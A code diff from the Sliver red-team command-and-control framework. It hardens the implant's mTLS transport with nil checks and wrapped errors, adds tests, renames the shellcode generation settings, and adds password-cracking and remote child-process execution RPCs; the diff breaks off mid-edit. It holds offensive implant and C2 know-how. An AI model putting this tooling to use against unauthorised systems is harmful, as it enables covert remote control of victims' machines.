||||
}
|
||||
rawSigBuf := make([]byte, cryptography.RawSigSize)
|
||||
binary.LittleEndian.PutUint16(rawSigBuf[:2], cryptography.EdDSA)
|
||||
binary.LittleEndian.PutUint64(rawSigBuf[2:10], keyID)
|
||||
copy(rawSigBuf[10:], ed25519.Sign(signingKey, data))
|
||||
if _, werr := w.Write(rawSigBuf); werr != nil {
|
||||
return werr
|
||||
if werr := writeAll(w, rawSigBuf); werr != nil {
|
||||
return fmt.Errorf("[mtls] write raw signature: %w", werr)
|
||||
}
|
||||
|
||||
dataLengthBuf := new(bytes.Buffer)
|
||||
binary.Write(dataLengthBuf, binary.LittleEndian, uint32(len(data)))
|
||||
if _, werr := w.Write(dataLengthBuf.Bytes()); werr != nil {
|
||||
var dataLengthBuf [4]byte
|
||||
binary.LittleEndian.PutUint32(dataLengthBuf[:], uint32(len(data)))
|
||||
if werr := writeAll(w, dataLengthBuf[:]); werr != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Print("Error writing data length: ", werr)
|
||||
// {{end}}
|
||||
return werr
|
||||
return fmt.Errorf("[mtls] write data length: %w", werr)
|
||||
}
|
||||
if _, werr := w.Write(data); werr != nil {
|
||||
if werr := writeAll(w, data); werr != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Print("Error writing data: ", werr)
|
||||
// {{end}}
|
||||
return werr
|
||||
return fmt.Errorf("[mtls] write data: %w", werr)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -0,0 +1,47 @@
|
||||
package mtls
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/tls"
|
||||
"testing"
|
||||
|
||||
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
func TestWriteEnvelope_NilEnvelope(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
var buf bytes.Buffer
|
||||
if err := WriteEnvelope(&buf, nil); err == nil {
|
||||
t.Fatalf("expected error for nil envelope")
|
||||
}
|
||||
}
|
||||
|
||||
func TestWriteEnvelope_NilWriter(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
t.Fatalf("WriteEnvelope panicked: %v", r)
|
||||
}
|
||||
}()
|
||||
|
||||
if err := WriteEnvelope(nil, &pb.Envelope{}); err == nil {
|
||||
t.Fatalf("expected error for nil writer")
|
||||
}
|
||||
}
|
||||
|
||||
func TestWriteEnvelope_NilTLSConnWriter(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
t.Fatalf("WriteEnvelope panicked: %v", r)
|
||||
}
|
||||
}()
|
||||
|
||||
var conn *tls.Conn
|
||||
if err := WriteEnvelope(conn, &pb.Envelope{}); err == nil {
|
||||
t.Fatalf("expected error for nil *tls.Conn writer")
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,17 @@
|
||||
package transports
|
||||
|
||||
import "reflect"
|
||||
|
||||
// isNilInterface returns true if v is nil, or if v is an interface value holding a nil pointer.
|
||||
func isNilInterface(v any) bool {
|
||||
if v == nil {
|
||||
return true
|
||||
}
|
||||
rv := reflect.ValueOf(v)
|
||||
switch rv.Kind() {
|
||||
case reflect.Chan, reflect.Func, reflect.Map, reflect.Pointer, reflect.Interface, reflect.Slice:
|
||||
return rv.IsNil()
|
||||
default:
|
||||
return false
|
||||
}
|
||||
}
|
||||
@@ -25,7 +25,9 @@ import (
|
||||
// {{end}}
|
||||
|
||||
// {{if or .Config.IncludeMTLS .Config.IncludeWG}}
|
||||
"errors"
|
||||
"strconv"
|
||||
|
||||
// {{end}}
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
@@ -45,8 +47,6 @@ import (
|
||||
// {{end}}
|
||||
|
||||
// {{if .Config.IncludeWG}}
|
||||
"errors"
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/transports/wireguard"
|
||||
"golang.zx2c4.com/wireguard/device"
|
||||
|
||||
@@ -257,6 +257,13 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if conn == nil {
|
||||
errMsg := ""
|
||||
// {{if .Config.Debug}}
|
||||
errMsg = "mtls connection returned nil conn"
|
||||
// {{end}}
|
||||
return errors.New(errMsg)
|
||||
}
|
||||
if _, err := conn.Write([]byte(mtls.YamuxPreface)); err != nil {
|
||||
conn.Close()
|
||||
return err
|
||||
@@ -266,6 +273,14 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
|
||||
conn.Close()
|
||||
return err
|
||||
}
|
||||
if muxSession == nil {
|
||||
conn.Close()
|
||||
errMsg := ""
|
||||
// {{if .Config.Debug}}
|
||||
errMsg = "[mtls] failed to create yamux session (nil)"
|
||||
// {{end}}
|
||||
return errors.New(errMsg)
|
||||
}
|
||||
connection.IsOpen = true
|
||||
|
||||
go func() {
|
||||
@@ -292,6 +307,10 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
|
||||
connection.Cleanup()
|
||||
return
|
||||
}
|
||||
if isNilInterface(stream) {
|
||||
connection.Cleanup()
|
||||
return
|
||||
}
|
||||
defer stream.Close()
|
||||
if err := mtls.WriteEnvelope(stream, envelope); err != nil {
|
||||
connection.Cleanup()
|
||||
@@ -315,6 +334,10 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
|
||||
connection.Cleanup()
|
||||
return
|
||||
}
|
||||
if isNilInterface(stream) {
|
||||
connection.Cleanup()
|
||||
return
|
||||
}
|
||||
defer stream.Close()
|
||||
if err := mtls.WritePing(stream); err != nil {
|
||||
connection.Cleanup()
|
||||
@@ -346,6 +369,9 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
if isNilInterface(stream) {
|
||||
return
|
||||
}
|
||||
|
||||
select {
|
||||
case streamSem <- struct{}{}:
|
||||
|
||||
@@ -1,83 +0,0 @@
|
||||
package yamuxtest
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"io"
|
||||
"net"
|
||||
"sync"
|
||||
"testing"
|
||||
|
||||
"github.com/hashicorp/yamux"
|
||||
)
|
||||
|
||||
func TestYamuxConcurrentStreams(t *testing.T) {
|
||||
serverConn, clientConn := net.Pipe()
|
||||
serverSession, err := yamux.Server(serverConn, nil)
|
||||
if err != nil {
|
||||
t.Fatalf("server session: %v", err)
|
||||
}
|
||||
defer serverSession.Close()
|
||||
|
||||
clientSession, err := yamux.Client(clientConn, nil)
|
||||
if err != nil {
|
||||
t.Fatalf("client session: %v", err)
|
||||
}
|
||||
defer clientSession.Close()
|
||||
|
||||
const streams = 16
|
||||
payloads := make([][]byte, streams)
|
||||
for i := 0; i < streams; i++ {
|
||||
payloads[i] = []byte(fmt.Sprintf("stream=%d payload=%s", i, bytes.Repeat([]byte{byte('a' + i)}, 4096)))
|
||||
}
|
||||
|
||||
var openWg sync.WaitGroup
|
||||
openWg.Add(streams)
|
||||
for i := 0; i < streams; i++ {
|
||||
i := i
|
||||
go func() {
|
||||
defer openWg.Done()
|
||||
stream, err := clientSession.Open()
|
||||
if err != nil {
|
||||
t.Errorf("open stream %d: %v", i, err)
|
||||
return
|
||||
}
|
||||
_, err = stream.Write(payloads[i])
|
||||
_ = stream.Close()
|
||||
if err != nil {
|
||||
t.Errorf("write stream %d: %v", i, err)
|
||||
return
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
openWg.Wait()
|
||||
|
||||
wantSet := map[string]struct{}{}
|
||||
for _, p := range payloads {
|
||||
wantSet[string(p)] = struct{}{}
|
||||
}
|
||||
|
||||
gotSet := map[string]struct{}{}
|
||||
for i := 0; i < streams; i++ {
|
||||
stream, err := serverSession.Accept()
|
||||
if err != nil {
|
||||
t.Fatalf("accept stream %d: %v", i, err)
|
||||
}
|
||||
b, err := io.ReadAll(stream)
|
||||
_ = stream.Close()
|
||||
if err != nil {
|
||||
t.Fatalf("read stream %d: %v", i, err)
|
||||
}
|
||||
gotSet[string(b)] = struct{}{}
|
||||
}
|
||||
|
||||
if len(gotSet) != len(wantSet) {
|
||||
t.Fatalf("unexpected payload count: got=%d want=%d", len(gotSet), len(wantSet))
|
||||
}
|
||||
for want := range wantSet {
|
||||
if _, ok := gotSet[want]; !ok {
|
||||
t.Fatalf("missing payload: %q", want)
|
||||
}
|
||||
}
|
||||
}
|
||||
+2111
-1902
File diff suppressed because it is too large.
Load diff
@@ -132,22 +132,26 @@ enum OutputFormat {
|
||||
THIRD_PARTY = 4;
|
||||
}
|
||||
|
||||
message DonutConfig {
|
||||
// 1=none, 2=random names, 3=random names + symmetric encryption
|
||||
// ShellcodeConfig - options used when generating shellcode output.
|
||||
//
|
||||
// Note: Most fields map to Donut options for Windows shellcode generation.
|
||||
// On macOS (darwin/arm64), only `Compress` is currently used (beignet aPLib).
|
||||
message ShellcodeConfig {
|
||||
// 1=none, 2=random names, 3=random names + symmetric encryption (Windows/Donut only)
|
||||
uint32 Entropy = 2;
|
||||
// 1=none, 2=aplib
|
||||
// 1=none, 2=aplib (Windows/Donut + macOS/beignet)
|
||||
uint32 Compress = 3;
|
||||
// 1=exit thread, 2=exit process, 3=block
|
||||
// 1=exit thread, 2=exit process, 3=block (Windows/Donut only)
|
||||
uint32 ExitOpt = 4;
|
||||
// 1=none, 2=abort on failure, 3=continue on failure
|
||||
// 1=none, 2=abort on failure, 3=continue on failure (Windows/Donut only)
|
||||
uint32 Bypass = 5;
|
||||
// 1=overwrite headers, 2=keep headers
|
||||
// 1=overwrite headers, 2=keep headers (Windows/Donut only)
|
||||
uint32 Headers = 6;
|
||||
// Run unmanaged EXE entrypoint as a new thread
|
||||
// Run unmanaged EXE entrypoint as a new thread (Windows/Donut only)
|
||||
bool Thread = 7;
|
||||
// Convert command line to Unicode for unmanaged DLL entrypoints
|
||||
// Convert command line to Unicode for unmanaged DLL entrypoints (Windows/Donut only)
|
||||
bool Unicode = 8;
|
||||
// Override original entry point (0 = default)
|
||||
// Override original entry point (0 = default) (Windows/Donut only)
|
||||
uint32 OEP = 9;
|
||||
}
|
||||
|
||||
@@ -203,7 +207,8 @@ message ImplantConfig {
|
||||
bool RunAtLoad = 105;
|
||||
string DebugFile = 106;
|
||||
repeated string exports = 107;
|
||||
DonutConfig DonutConfig = 108;
|
||||
ShellcodeConfig ShellcodeConfig = 108;
|
||||
ShellcodeEncoder ShellcodeEncoder = 109;
|
||||
|
||||
string HTTPC2ConfigName = 150;
|
||||
bool NetGoEnabled = 151;
|
||||
@@ -1267,6 +1272,21 @@ message CrackCommand {
|
||||
string BrainSessionWhitelist = 113;
|
||||
}
|
||||
|
||||
message CrackJob {
|
||||
string ID = 1;
|
||||
string CreatedAt = 2;
|
||||
string CompletedAt = 3;
|
||||
CrackJobStatus Status = 4;
|
||||
string Err = 5;
|
||||
|
||||
CrackCommand Command = 7;
|
||||
string ResultFileID = 8;
|
||||
}
|
||||
|
||||
message CrackResponse {
|
||||
CrackJob Job = 1;
|
||||
}
|
||||
|
||||
message CrackConfig {
|
||||
bool AutoFire = 1;
|
||||
int64 MaxFileSize = 2;
|
||||
|
||||
+12
-19
@@ -24,7 +24,6 @@ type DNSMessageType int32
|
||||
|
||||
const (
|
||||
DNSMessageType_NOP DNSMessageType = 0 // aka FINGERPRINT
|
||||
DNSMessageType_TOTP DNSMessageType = 1
|
||||
DNSMessageType_INIT DNSMessageType = 2
|
||||
DNSMessageType_POLL DNSMessageType = 3
|
||||
DNSMessageType_CLOSE DNSMessageType = 4
|
||||
@@ -38,7 +37,6 @@ const (
|
||||
var (
|
||||
DNSMessageType_name = map[int32]string{
|
||||
0: "NOP",
|
||||
1: "TOTP",
|
||||
2: "INIT",
|
||||
3: "POLL",
|
||||
4: "CLOSE",
|
||||
@@ -49,7 +47,6 @@ var (
|
||||
}
|
||||
DNSMessageType_value = map[string]int32{
|
||||
"NOP": 0,
|
||||
"TOTP": 1,
|
||||
"INIT": 2,
|
||||
"POLL": 3,
|
||||
"CLOSE": 4,
|
||||
@@ -89,10 +86,7 @@ func (DNSMessageType) EnumDescriptor() ([]byte, []int) {
|
||||
|
||||
//
|
||||
//NOTE: DNS is very space sensitive so certain fields are re-purposed
|
||||
//depending on the DNSMessageType as noted below:
|
||||
//
|
||||
//[Type TOTP]: ID field is used for the TOTP code
|
||||
//
|
||||
//depending on the DNSMessageType.
|
||||
type DNSMessage struct {
|
||||
state protoimpl.MessageState
|
||||
sizeCache protoimpl.SizeCache
|
||||
@@ -194,19 +188,18 @@ var file_dnspb_dns_proto_rawDesc = []byte{
|
||||
0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x53, 0x74, 0x6f, 0x70, 0x12, 0x12, 0x0a, 0x04,
|
||||
0x53, 0x69, 0x7a, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x53, 0x69, 0x7a, 0x65,
|
||||
0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04,
|
||||
0x44, 0x61, 0x74, 0x61, 0x2a, 0x87, 0x01, 0x0a, 0x0e, 0x44, 0x4e, 0x53, 0x4d, 0x65, 0x73, 0x73,
|
||||
0x44, 0x61, 0x74, 0x61, 0x2a, 0x83, 0x01, 0x0a, 0x0e, 0x44, 0x4e, 0x53, 0x4d, 0x65, 0x73, 0x73,
|
||||
0x61, 0x67, 0x65, 0x54, 0x79, 0x70, 0x65, 0x12, 0x07, 0x0a, 0x03, 0x4e, 0x4f, 0x50, 0x10, 0x00,
|
||||
0x12, 0x08, 0x0a, 0x04, 0x54, 0x4f, 0x54, 0x50, 0x10, 0x01, 0x12, 0x08, 0x0a, 0x04, 0x49, 0x4e,
|
||||
0x49, 0x54, 0x10, 0x02, 0x12, 0x08, 0x0a, 0x04, 0x50, 0x4f, 0x4c, 0x4c, 0x10, 0x03, 0x12, 0x09,
|
||||
0x0a, 0x05, 0x43, 0x4c, 0x4f, 0x53, 0x45, 0x10, 0x04, 0x12, 0x0c, 0x0a, 0x08, 0x4d, 0x41, 0x4e,
|
||||
0x49, 0x46, 0x45, 0x53, 0x54, 0x10, 0x06, 0x12, 0x13, 0x0a, 0x0f, 0x44, 0x41, 0x54, 0x41, 0x5f,
|
||||
0x54, 0x4f, 0x5f, 0x49, 0x4d, 0x50, 0x4c, 0x41, 0x4e, 0x54, 0x10, 0x07, 0x12, 0x15, 0x0a, 0x11,
|
||||
0x44, 0x41, 0x54, 0x41, 0x5f, 0x46, 0x52, 0x4f, 0x4d, 0x5f, 0x49, 0x4d, 0x50, 0x4c, 0x41, 0x4e,
|
||||
0x54, 0x10, 0x08, 0x12, 0x09, 0x0a, 0x05, 0x43, 0x4c, 0x45, 0x41, 0x52, 0x10, 0x09, 0x42, 0x2c,
|
||||
0x5a, 0x2a, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69, 0x73,
|
||||
0x68, 0x6f, 0x70, 0x66, 0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2f, 0x70, 0x72,
|
||||
0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x64, 0x6e, 0x73, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72,
|
||||
0x6f, 0x74, 0x6f, 0x33,
|
||||
0x12, 0x08, 0x0a, 0x04, 0x49, 0x4e, 0x49, 0x54, 0x10, 0x02, 0x12, 0x08, 0x0a, 0x04, 0x50, 0x4f,
|
||||
0x4c, 0x4c, 0x10, 0x03, 0x12, 0x09, 0x0a, 0x05, 0x43, 0x4c, 0x4f, 0x53, 0x45, 0x10, 0x04, 0x12,
|
||||
0x0c, 0x0a, 0x08, 0x4d, 0x41, 0x4e, 0x49, 0x46, 0x45, 0x53, 0x54, 0x10, 0x06, 0x12, 0x13, 0x0a,
|
||||
0x0f, 0x44, 0x41, 0x54, 0x41, 0x5f, 0x54, 0x4f, 0x5f, 0x49, 0x4d, 0x50, 0x4c, 0x41, 0x4e, 0x54,
|
||||
0x10, 0x07, 0x12, 0x15, 0x0a, 0x11, 0x44, 0x41, 0x54, 0x41, 0x5f, 0x46, 0x52, 0x4f, 0x4d, 0x5f,
|
||||
0x49, 0x4d, 0x50, 0x4c, 0x41, 0x4e, 0x54, 0x10, 0x08, 0x12, 0x09, 0x0a, 0x05, 0x43, 0x4c, 0x45,
|
||||
0x41, 0x52, 0x10, 0x09, 0x22, 0x04, 0x08, 0x01, 0x10, 0x01, 0x42, 0x2c, 0x5a, 0x2a, 0x67, 0x69,
|
||||
0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69, 0x73, 0x68, 0x6f, 0x70, 0x66,
|
||||
0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62,
|
||||
0x75, 0x66, 0x2f, 0x64, 0x6e, 0x73, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33,
|
||||
}
|
||||
|
||||
var (
|
||||
|
||||
@@ -4,7 +4,7 @@ option go_package = "github.com/bishopfox/sliver/protobuf/dnspb";
|
||||
|
||||
enum DNSMessageType {
|
||||
NOP = 0; // aka FINGERPRINT
|
||||
TOTP = 1;
|
||||
reserved 1; // formerly TOTP
|
||||
INIT = 2;
|
||||
POLL = 3;
|
||||
CLOSE = 4;
|
||||
@@ -17,10 +17,7 @@ enum DNSMessageType {
|
||||
|
||||
/*
|
||||
NOTE: DNS is very space sensitive so certain fields are re-purposed
|
||||
depending on the DNSMessageType as noted below:
|
||||
|
||||
[Type TOTP]: ID field is used for the TOTP code
|
||||
|
||||
depending on the DNSMessageType.
|
||||
*/
|
||||
message DNSMessage {
|
||||
DNSMessageType Type = 1;
|
||||
@@ -29,4 +26,4 @@ message DNSMessage {
|
||||
uint32 Stop = 4; // Bytes stop at
|
||||
uint32 Size = 5; // Total size
|
||||
bytes Data = 6; // Actual data
|
||||
}
|
||||
}
|
||||
+1004
-988
File diff suppressed because it is too large.
Load diff
@@ -112,6 +112,7 @@ service SliverRPC {
|
||||
returns (clientpb.CertificateAuthorityInfo);
|
||||
|
||||
// *** Crackstation ***
|
||||
rpc Crack(clientpb.CrackCommand) returns (clientpb.CrackResponse);
|
||||
rpc CrackstationRegister(clientpb.Crackstation)
|
||||
returns (stream clientpb.Event);
|
||||
rpc CrackstationTrigger(clientpb.Event) returns (commonpb.Empty);
|
||||
@@ -195,6 +196,7 @@ service SliverRPC {
|
||||
rpc Migrate(clientpb.MigrateReq) returns (sliverpb.Migrate);
|
||||
rpc Execute(sliverpb.ExecuteReq) returns (sliverpb.Execute);
|
||||
rpc ExecuteWindows(sliverpb.ExecuteWindowsReq) returns (sliverpb.Execute);
|
||||
rpc ExecuteChildren(sliverpb.ExecuteChildrenReq) returns (sliverpb.ExecuteChildren);
|
||||
rpc Sideload(sliverpb.SideloadReq) returns (sliverpb.Sideload);
|
||||
rpc SpawnDll(sliverpb.InvokeSpawnDllReq) returns (sliverpb.SpawnDll);
|
||||
rpc Screenshot(sliverpb.ScreenshotReq) returns (sliverpb.Screenshot);
|
||||
|
||||
@@ -98,6 +98,7 @@ type SliverRPCClient interface {
|
||||
GetCertificateInfo(ctx context.Context, in *clientpb.CertificatesReq, opts ...grpc.CallOption) (*clientpb.CertificateInfo, error)
|
||||
GetCertificateAuthorityInfo(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.CertificateAuthorityInfo, error)
|
||||
// *** Crackstation ***
|
||||
Crack(ctx context.Context, in *clientpb.CrackCommand, opts ...grpc.CallOption) (*clientpb.CrackResponse, error)
|
||||
CrackstationRegister(ctx context.Context, in *clientpb.Crackstation, opts ...grpc.CallOption) (SliverRPC_CrackstationRegisterClient, error)
|
||||
CrackstationTrigger(ctx context.Context, in *clientpb.Event, opts ...grpc.CallOption) (*commonpb.Empty, error)
|
||||
CrackstationBenchmark(ctx context.Context, in *clientpb.CrackBenchmark, opts ...grpc.CallOption) (*commonpb.Empty, error)
|
||||
@@ -169,6 +170,7 @@ type SliverRPCClient interface {
|
||||
Migrate(ctx context.Context, in *clientpb.MigrateReq, opts ...grpc.CallOption) (*sliverpb.Migrate, error)
|
||||
Execute(ctx context.Context, in *sliverpb.ExecuteReq, opts ...grpc.CallOption) (*sliverpb.Execute, error)
|
||||
ExecuteWindows(ctx context.Context, in *sliverpb.ExecuteWindowsReq, opts ...grpc.CallOption) (*sliverpb.Execute, error)
|
||||
ExecuteChildren(ctx context.Context, in *sliverpb.ExecuteChildrenReq, opts ...grpc.CallOption) (*sliverpb.ExecuteChildren, error)
|
||||
Sideload(ctx context.Context, in *sliverpb.SideloadReq, opts ...grpc.CallOption) (*sliverpb.Sideload, error)
|
||||
SpawnDll(ctx context.Context, in *sliverpb.InvokeSpawnDllReq, opts ...grpc.CallOption) (*sliverpb.SpawnDll, error)
|
||||
Screenshot(ctx context.Context, in *sliverpb.ScreenshotReq, opts ...grpc.CallOption) (*sliverpb.Screenshot, error)
|
||||
@@ -823,6 +825,15 @@ func (c *sliverRPCClient) GetCertificateAuthorityInfo(ctx context.Context, in *c
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) Crack(ctx context.Context, in *clientpb.CrackCommand, opts ...grpc.CallOption) (*clientpb.CrackResponse, error) {
|
||||
out := new(clientpb.CrackResponse)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Crack", in, out, opts...)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) CrackstationRegister(ctx context.Context, in *clientpb.Crackstation, opts ...grpc.CallOption) (SliverRPC_CrackstationRegisterClient, error) {
|
||||
stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[2], "/rpcpb.SliverRPC/CrackstationRegister", opts...)
|
||||
if err != nil {
|
||||
@@ -1458,6 +1469,15 @@ func (c *sliverRPCClient) ExecuteWindows(ctx context.Context, in *sliverpb.Execu
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) ExecuteChildren(ctx context.Context, in *sliverpb.ExecuteChildrenReq, opts ...grpc.CallOption) (*sliverpb.ExecuteChildren, error) {
|
||||
out := new(sliverpb.ExecuteChildren)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/ExecuteChildren", in, out, opts...)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) Sideload(ctx context.Context, in *sliverpb.SideloadReq, opts ...grpc.CallOption) (*sliverpb.Sideload, error) {
|
||||
out := new(sliverpb.Sideload)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Sideload", in, out, opts...)
|
||||
@@ -2110,6 +2130,7 @@ type SliverRPCServer interface {
|
||||
GetCertificateInfo(context.Context, *clientpb.CertificatesReq) (*clientpb.CertificateInfo, error)
|
||||
GetCertificateAuthorityInfo(context.Context, *commonpb.Empty) (*clientpb.CertificateAuthorityInfo, error)
|
||||
// *** Crackstation ***
|
||||
Crack(context.Context, *clientpb.CrackCommand) (*clientpb.CrackResponse, error)
|
||||
CrackstationRegister(*clientpb.Crackstation, SliverRPC_CrackstationRegisterServer) error
|
||||
CrackstationTrigger(context.Context, *clientpb.Event) (*commonpb.Empty, error)
|
||||
CrackstationBenchmark(context.Context, *clientpb.CrackBenchmark) (*commonpb.Empty, error)
|
||||
@@ -2181,6 +2202,7 @@ type SliverRPCServer interface {
|
||||
Migrate(context.Context, *clientpb.MigrateReq) (*sliverpb.Migrate, error)
|
||||
Execute(context.Context, *sliverpb.ExecuteReq) (*sliverpb.Execute, error)
|
||||
ExecuteWindows(context.Context, *sliverpb.ExecuteWindowsReq) (*sliverpb.Execute, error)
|
||||
ExecuteChildren(context.Context, *sliverpb.ExecuteChildrenReq) (*sliverpb.ExecuteChildren, error)
|
||||
Sideload(context.Context, *sliverpb.SideloadReq) (*sliverpb.Sideload, error)
|
||||
SpawnDll(context.Context, *sliverpb.InvokeSpawnDllReq) (*sliverpb.SpawnDll, error)
|
||||
Screenshot(context.Context, *sliverpb.ScreenshotReq) (*sliverpb.Screenshot, error)
|
||||
@@ -2430,6 +2452,9 @@ func (UnimplementedSliverRPCServer) GetCertificateInfo(context.Context, *clientp
|
||||
func (UnimplementedSliverRPCServer) GetCertificateAuthorityInfo(context.Context, *commonpb.Empty) (*clientpb.CertificateAuthorityInfo, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method GetCertificateAuthorityInfo not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) Crack(context.Context, *clientpb.CrackCommand) (*clientpb.CrackResponse, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method Crack not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) CrackstationRegister(*clientpb.Crackstation, SliverRPC_CrackstationRegisterServer) error {
|
||||
return status.Errorf(codes.Unimplemented, "method CrackstationRegister not implemented")
|
||||
}
|
||||
@@ -2634,6 +2659,9 @@ func (UnimplementedSliverRPCServer) Execute(context.Context, *sliverpb.ExecuteRe
|
||||
func (UnimplementedSliverRPCServer) ExecuteWindows(context.Context, *sliverpb.ExecuteWindowsReq) (*sliverpb.Execute, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method ExecuteWindows not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) ExecuteChildren(context.Context, *sliverpb.ExecuteChildrenReq) (*sliverpb.ExecuteChildren, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method ExecuteChildren not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) Sideload(context.Context, *sliverpb.SideloadReq) (*sliverpb.Sideload, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method Sideload not implemented")
|
||||
}
|
||||
@@ -3888,6 +3916,24 @@ func _SliverRPC_GetCertificateAuthorityInfo_Handler(srv interface{}, ctx context
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_Crack_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(clientpb.CrackCommand)
|
||||
if err := dec(in); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if interceptor == nil {
|
||||
return srv.(SliverRPCServer).Crack(ctx, in)
|
||||
}
|
||||
info := &grpc.UnaryServerInfo{
|
||||
Server: srv,
|
||||
FullMethod: "/rpcpb.SliverRPC/Crack",
|
||||
}
|
||||
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
|
||||
return srv.(SliverRPCServer).Crack(ctx, req.(*clientpb.CrackCommand))
|
||||
}
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_CrackstationRegister_Handler(srv interface{}, stream grpc.ServerStream) error {
|
||||
m := new(clientpb.Crackstation)
|
||||
if err := stream.RecvMsg(m); err != nil {
|
||||
@@ -5115,6 +5161,24 @@ func _SliverRPC_ExecuteWindows_Handler(srv interface{}, ctx context.Context, dec
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_ExecuteChildren_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(sliverpb.ExecuteChildrenReq)
|
||||
if err := dec(in); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if interceptor == nil {
|
||||
return srv.(SliverRPCServer).ExecuteChildren(ctx, in)
|
||||
}
|
||||
info := &grpc.UnaryServerInfo{
|
||||
Server: srv,
|
||||
FullMethod: "/rpcpb.SliverRPC/ExecuteChildren",
|
||||
}
|
||||
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
|
||||
return srv.(SliverRPCServer).ExecuteChildren(ctx, req.(*sliverpb.ExecuteChildrenReq))
|
||||
}
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_Sideload_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(sliverpb.SideloadReq)
|
||||
if err := dec(in); err != nil {
|
||||
@@ -6377,6 +6441,10 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{
|
||||
MethodName: "GetCertificateAuthorityInfo",
|
||||
Handler: _SliverRPC_GetCertificateAuthorityInfo_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "Crack",
|
||||
Handler: _SliverRPC_Crack_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "CrackstationTrigger",
|
||||
Handler: _SliverRPC_CrackstationTrigger_Handler,
|
||||
@@ -6645,6 +6713,10 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{
|
||||
MethodName: "ExecuteWindows",
|
||||
Handler: _SliverRPC_ExecuteWindows_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "ExecuteChildren",
|
||||
Handler: _SliverRPC_ExecuteChildren_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "Sideload",
|
||||
Handler: _SliverRPC_Sideload_Handler,
|
||||
|
||||
@@ -355,6 +355,9 @@ const (
|
||||
|
||||
// MsgShellResizeReq - Resize a shell PTY
|
||||
MsgShellResizeReq
|
||||
|
||||
